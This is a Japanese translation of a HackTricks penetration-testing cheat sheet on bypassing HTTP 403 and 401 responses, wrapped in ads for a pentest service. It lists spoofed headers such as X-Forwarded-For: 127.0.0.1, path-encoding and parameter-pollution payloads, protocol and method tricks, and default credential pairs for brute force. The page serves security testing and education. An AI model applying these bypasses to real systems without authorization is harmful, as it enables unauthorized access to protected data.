403 & 401 Bypasses

HackTricksをサポートする

脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。私たちはペンテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむためのカスタムツール、検出および悪用モジュールを開発しています。

HTTP動詞/メソッドファジング

ファイルにアクセスするために異なる動詞を使用してみてください:GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

  • レスポンスヘッダーを確認してください。おそらくいくつかの情報が提供されるかもしれません。例えば、HEADに対する200レスポンスContent-Length: 55の場合、HEAD動詞が情報にアクセスできることを意味します。しかし、その情報を抽出する方法を見つける必要があります。

  • X-HTTP-Method-Override: PUTのようなHTTPヘッダーを使用すると、使用される動詞を上書きできます。

  • TRACE動詞を使用し、運が良ければ、レスポンスに中間プロキシによって追加されたヘッダーが表示されるかもしれません。

HTTPヘッダーのファジング

  • Hostヘッダーを任意の値に変更します(ここで機能した)。

  • HTTPヘッダーをファジングする:HTTPプロキシヘッダー、HTTP認証ベーシックおよびNTLMブルートフォース(いくつかの組み合わせのみ)やその他の技術を試してください。これを行うために、私はfuzzhttpbypassというツールを作成しました。

  • X-Originating-IP: 127.0.0.1

  • X-Forwarded-For: 127.0.0.1

  • X-Forwarded: 127.0.0.1

  • Forwarded-For: 127.0.0.1

  • X-Remote-IP: 127.0.0.1

  • X-Remote-Addr: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • X-Original-URL: 127.0.0.1

  • Client-IP: 127.0.0.1

  • True-Client-IP: 127.0.0.1

  • Cluster-Client-IP: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • Host: localhost

パスが保護されている場合、これらの他のヘッダーを使用してパス保護をバイパスしてみてください:

  • X-Original-URL: /admin/console

  • X-Rewrite-URL: /admin/console

  • ページがプロキシの背後にある場合、プライベート情報へのアクセスを妨げているのはプロキシかもしれません。HTTPリクエストスムージングまたはhop-by-hopヘッダーを悪用してみてください。

  • 異なるレスポンスを探して特別なHTTPヘッダーをファジングします。

  • HTTPメソッドをファジングしながら特別なHTTPヘッダーをファジングします

  • Hostヘッダーを削除すると、保護をバイパスできるかもしれません

パスファジング

もし_/path_がブロックされている場合:

  • /%2e/pathを使用してみてください(アクセスがプロキシによってブロックされている場合、これが保護をバイパスする可能性があります)。また、_** /%252e**/path(ダブルURLエンコード)を試してください**

  • Unicodeバイパスを試してください/%ef%bc%8fpath(URLエンコードされた文字は「/」のようなものです)ので、再エンコードすると_//path_になり、すでに_/path_の名前チェックをバイパスしているかもしれません。

  • 他のパスバイパス

  • site.com/secret –> HTTP 403 Forbidden

  • site.com/SECRET –> HTTP 200 OK

  • site.com/secret/ –> HTTP 200 OK

  • site.com/secret/. –> HTTP 200 OK

  • site.com//secret// –> HTTP 200 OK

  • site.com/./secret/.. –> HTTP 200 OK

  • site.com/;/secret –> HTTP 200 OK

  • site.com/.;/secret –> HTTP 200 OK

  • site.com//;//secret –> HTTP 200 OK

  • site.com/secret.json –> HTTP 200 OK (ruby)

  • 次の状況でこのリストを使用してください:

  • /FUZZsecret

  • /FUZZ/secret

  • /secretFUZZ

  • 他のAPIバイパス:

  • /v3/users_data/1234 --> 403 Forbidden

  • /v1/users_data/1234 --> 200 OK

  • {“id”:111} --> 401 Unauthorized

  • {“id”:[111]} --> 200 OK

  • {“id”:111} --> 401 Unauthorized

  • {“id”:{“id”:111}} --> 200 OK

  • {"user_id":"<legit_id>","user_id":"<victims_id>"} (JSONパラメータ汚染)

  • user_id=ATTACKER_ID&user_id=VICTIM_ID (パラメータ汚染)

パラメータ操作

  • パラメータ値を変更id=123 --> id=124

  • URLに追加のパラメータを追加:?id=124 —-> id=124&isAdmin=true

  • パラメータを削除

  • パラメータの順序を変更

  • 特殊文字を使用。

  • パラメータで境界テストを実施 — _-234_や_0_や_99999999_のような値を提供します(いくつかの例値)。

プロトコルバージョン

HTTP/1.1を使用している場合、1.0を使用してみてください、または2.0をサポートしているかテストしてみてください

その他のバイパス

  • ドメインのIPまたはCNAMEを取得し、直接連絡してみてください

  • 一般的なGETリクエストを送信してサーバーにストレスをかけてみてくださいこの人がFacebookで成功した)。

  • プロトコルを変更:httpからhttpsへ、またはhttpsからhttpへ。

  • https://archive.org/web/にアクセスし、過去にそのファイルが全世界からアクセス可能だったかどうかを確認してください

ブルートフォース

  • パスワードを推測:以下の一般的な認証情報をテストします。被害者について何か知っていますか?それともCTFチャレンジ名ですか?

  • ブルートフォース:基本、ダイジェスト、NTLM認証を試してください。

一般的な認証情報
admin    admin
admin    password
admin    1234
admin    admin1234
admin    123456
root     toor
test     test
guest    guest

自動ツール

脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。私たちはペンテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すために、カスタムツール、検出および悪用モジュールを開発します。

HackTricksをサポートする

Last updated